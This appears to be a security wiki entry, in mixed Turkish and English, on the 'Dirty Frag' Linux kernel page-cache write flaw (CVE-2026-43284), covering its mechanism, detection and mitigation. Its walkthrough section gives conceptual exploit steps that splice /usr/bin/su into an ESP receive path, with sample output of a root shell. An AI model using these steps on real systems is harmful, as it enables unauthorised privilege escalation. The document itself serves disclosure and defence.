Skip to content

page-cache write Dirty Frag (CVE-2026-43284)

"Dirty Frag": page-cache-backed fragment'lar üzerinde in-place bir ESP decrypt'i, unprivileged (namespaced) bir kullanıcının read-only dosyaların page cache'ine controlled byte'lar yazmasına ve root'a pivot etmesine izin verir.

Mechanism

İnvariant: kernel'in özel olarak sahip olmadığı page'ler üzerinde asla in-place decrypt etme

IPsec ESP input path'i, bir skb'nin payload'unu in-place decrypt edebilir — AES-GCM keystream'i doğrudan skb'nin page'leri üzerine XOR'layarak — yalnızca o page'ler network stack tarafından özel olarak sahiplenilmişse. Receive skb, externally-owned, page-cache-backed fragment'lar taşıdığında (örn. düzenli bir dosyadan splice'lanmış file page'leri), ESP'nin önce data'yı kopyalaması gerekir (skb_cow_data()); böylece cleartext başka bir subsystem'in sahip olduğu bir page'e asla konmaz.

Dirty Frag (CVE-2026-43284), o invariant'ın esp4 / esp6 receive path'lerindeki başarısızlığıdır: 2017'de tanıtılan in-place decryption fast path'i (commit cac2661c53f3, IPsec ESP receive in-place fast path), hâlâ page cache tarafından backed bir paged buffer üzerinde çalışabilir. Attacker xfrm state'ini kurduğu için ESP key'ini o seçer — yani "decryption" controlled bir write'tır: keystream XOR ciphertext = chosen plaintext. Sonuç, read-only bir dosyanın in-memory kopyasına küçük deterministik bir STORE primitive'idir (4-byte'lık bir store olarak raporlandı). On-disk byte'lar dokunulmaz, ama execve() tarafından kullanılan cached page modifiye edilir.

pipe-buffer flag handling'inde dar bir race'e dayanan Dirty Pipe'ın aksine, Dirty Frag deterministik bir logic flaw'dır: yüksek başarı oranı, düşük panic riski. CVE-2026-43500, eşlenmiş RxRPC page-cache write'ıdır; ESP write'ının ihtiyaç duyduğu namespace/CAP_NET_ADMIN foothold'unu elde etmek için kullanışlıdır.

Walkthrough

Yalnızca yetkili test

Aşağıdaki adımlar public disclosure'u ve vendor FAQ'larını kavramsal düzeyde yansıtır. Yalnızca sahip olduğun veya test etmeye yetkili olduğun sistemlerde çalıştır, ideal olarak unpatched bir kernel üzerinde tek kullanımlık bir VM'de.

Exploit iki şeye ihtiyaç duyar: NETLINK_XFRM'i sürme yeteneği (genellikle CAP_NET_ADMIN, varsayılan distro config'lerinde unprivileged bir user+net namespace içinde elde edilebilir) ve splice() üzerinden ESP receive path'ine page-cache-backed fragment'lar itme yeteneği.

/* CAP_NET_ADMIN inside a fresh netns is enough to install xfrm state */
unshare(CLONE_NEWUSER | CLONE_NEWNET);
# conceptual equivalent of the attacker-chosen ESP SA (known AEAD key)
ip xfrm state add src <a> dst <b> proto esp spi 0x1000 \
    mode transport \
    aead 'rfc4106(gcm(aes))' 0x<known-key> 128
/* stage a read-only privileged binary as page-cache-backed frags */
int f = open("/usr/bin/su", O_RDONLY);
splice(f, &off, pipe_w, NULL, len, SPLICE_F_MOVE);
splice(pipe_r, NULL, esp_sock, NULL, len, SPLICE_F_MOVE);
/* ESP input decrypts in place over the shared frags -> page-cache write */
Beklenen sonuç

$ ls -l /usr/bin/su            # on-disk file unchanged, still root:root 4755
-rwsr-xr-x 1 root root 71912 ... /usr/bin/su
$ ./dirtyfrag
[*] CAP_NET_ADMIN via userns+netns
[*] ESP SA installed (aes-gcm, known key)
[*] splicing /usr/bin/su pages into ESP receive path
[*] in-place decrypt -> controlled store into page cache
[+] cached image of /usr/bin/su patched
$ su                            # runs the modified cached image
# id
uid=0(root) gid=0(root) ...
On-disk dosya hiç yazılmaz, bu yüzden disk tabanlı file-integrity check'leri geçer.

Detection

  • Syscall zinciri üzerinde davranışsal telemetri: non-VPN process'lerden gelen unshare(CLONE_NEWUSER | CLONE_NEWNET)'in ardından NETLINK_XFRM SA-install operasyonları.
  • Düzenli bir dosyadan esp4/esp6 input'unu besleyen bir socket'e splice(), tight loop'larda.
  • Privileged binary'ler için page-cache vs. on-disk farklılığı: meşru bir writer olmadan on-disk içerikten farklı olan cached page'ler güçlü bir göstergedir (posix_fadvise(POSIX_FADV_DONTNEED) sonrası periyodik re-read).

Mitigation

  • Patch: buffer externally-owned/page-cache frag'ları tuttuğunda ESP in-place decryption'dan önce bir kopyayı (skb_cow_data()) zorlayan kernel fix'ini uygula.
  • Kullanılmıyorsa ESP / RxRPC modüllerini blacklist'le:
printf 'install esp4 /bin/false\ninstall esp6 /bin/false\ninstall rxrpc /bin/false\n' \
    > /etc/modprobe.d/dirtyfrag.conf
  • CAP_NET_ADMIN foothold'unu kaldırmak için unprivileged namespace'leri kısıtla:
echo 'user.max_user_namespaces=0' > /etc/sysctl.d/dirtyfrag.conf && sysctl --system
  • Şüpheli bir compromise sonrası zehirlenmiş cache'i flush et: echo 3 > /proc/sys/vm/drop_caches.

Page-cache write primitive'i ve pivot-to-root modeli, Fragnesia page-level UAF write ve orijinal Dirty Pipe page-cache write ile paylaşılır.

References